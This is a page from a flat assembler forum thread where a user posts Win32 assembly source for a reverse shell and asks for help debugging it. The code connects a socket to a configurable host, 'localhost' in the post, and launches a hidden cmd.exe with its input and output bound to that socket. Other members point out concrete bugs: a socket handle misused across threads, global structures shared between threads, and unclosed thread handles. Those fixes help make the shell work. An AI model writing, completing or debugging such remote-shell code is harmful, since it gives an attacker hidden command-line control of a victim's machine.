flat assembler
Message board for the users of flat assembler.
![]() Goto page Previous 1, 2 |
Author |
|
Overflowz
I figured out whats proble. thanks for help everyone!
![]() |
|||
![]() |
|
Picnic
baldr wrote: WaitForSingleObject() looks like better alternative to Sleep(). It changes behavior from "probably thread's done" to "it's done". Absolutely, that was just a stopgap solution. ![]() |
|||
![]() |
|
jochenvnltn
Picnic wrote: You're welcome. Hello Picnic Ive tried to use your example in a reverse shell, but it keeps creating cmd.exe processes. Im still trying to learn about WinSock. Can you point out what's wrong with my code pls ? Code: include 'win32ax.inc' entry main IPPROTO_TCP = 6 PORT = 8080 cmd db "cmd.exe",0 UrIP db "localhost",0 sinfo STARTUPINFO pinfo PROCESS_INFORMATION saddr sockaddr_in wsadata WSADATA sock dd ? lpThreadId dd ? main: invoke WSAStartup, 0202h, wsadata test eax,eax jnz exit invoke WSASocketA, AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0 cmp eax, -1 jz exit mov [sock],eax mov [saddr.sin_family],AF_INET invoke htons,PORT mov [saddr.sin_port],ax invoke gethostbyname, UrIP mov eax, [eax+12] mov eax, [eax] mov eax, [eax] mov [saddr.sin_addr], eax mov eax,[sock] .while 1 invoke connect, [sock], saddr , sizeof.sockaddr_in invoke CreateThread, 0, 0, Thread_ShellSpawner, eax, 0, addr lpThreadId .endw exit:invoke ExitProcess,0 proc Thread_ShellSpawner,client:dword mov dword [sinfo.cb],sizeof.STARTUPINFO mov dword [sinfo.dwFlags],STARTF_USESHOWWINDOW+STARTF_USESTDHANDLES mov word [sinfo.wShowWindow], SW_HIDE mov word [sinfo.cbReserved2], 0 mov dword [sinfo.lpReserved2], 0 mov eax,[client] mov [sinfo.hStdInput],eax mov [sinfo.hStdOutput],eax mov [sinfo.hStdError],eax invoke CreateProcess, 0, <"cmd.exe">, 0, 0, TRUE, 0, 0, 0,addr sinfo,addr pinfo invoke WaitForSingleObject,dword[pinfo.hProcess],-1 invoke closesocket, dword [client] ret endp section '.idata' import data readable writeable library kernel32,'kernel32.dll',user32,'user32.dll',ws2_32,'ws2_32.dll' include "%include%/api/ws2_32.inc" include "%include%/api/kernel32.inc" include "%include%/api/user32.inc" |
|||
![]() |
|
Picnic
Hi jochenvnltn,
Take it one step at a time, see if you can make the program work without the thread part. Try a simple connect, try different UrIP values, check the return values from function. Use netcat to test the program. Sorry if i wasn't of much help. |
|||
![]() |
|
jochenvnltn
Picnic wrote: Hi jochenvnltn, It works great without the thread part. My question is however why it does not work with the thread part ... |
|||
![]() |
|
revolution
jochenvnltn wrote: It works great without the thread part. My question is however why it does not work with the thread part ... |
|||
![]() |
|
Picnic
jochenvnltn,
Now i see that in my example a new socket handle is passed to the thread as parameter (created by accept). But connect function is not returning a new socket, maybe there lurks the error. |
|||
![]() |
|
jochenvnltn
revolution wrote:
Thx for the tip. I did not know that ![]() |
|||
![]() |
|
revolution
sinfo is global and used within the thread, no? pinfo also, no?
|
|||
![]() |
|
jochenvnltn
revolution wrote: sinfo is global and used within the thread, no? pinfo also, no? Ha.. Okay sorry about that.. Your right ![]() |
|||
![]() |
|
revolution
BTW: Whenever you create a thread you should also close the thread handle (with CloseHandle) at some point, else you get handle and memory leakage problems. If you don't need the exit code then you can close the handle immediately and just let the thread do its things and close itself when done.
Note: Closing the handle does not close the thread so don't worry about it being prematurely terminated. |
|||
![]() |
|
jochenvnltn
revolution wrote: BTW: Whenever you create a thread you should also close the thread handle (with CloseHandle) at some point, else you get handle and memory leakage problems. If you don't need the exit code then you can close the handle immediately and just let the thread do its things and close itself when done. Okay revolution thank you ill get testing with this. Im also learning at the same time, so thank you for the tip ![]() |
|||
![]() |
|
Goto page Previous 1, 2 < Last Thread | Next Thread > |
Forum Rules:
|
Copyright © 1999-2020, Tomasz Grysztar. Also on GitHub, YouTube, Twitter.
Website powered by rwasa.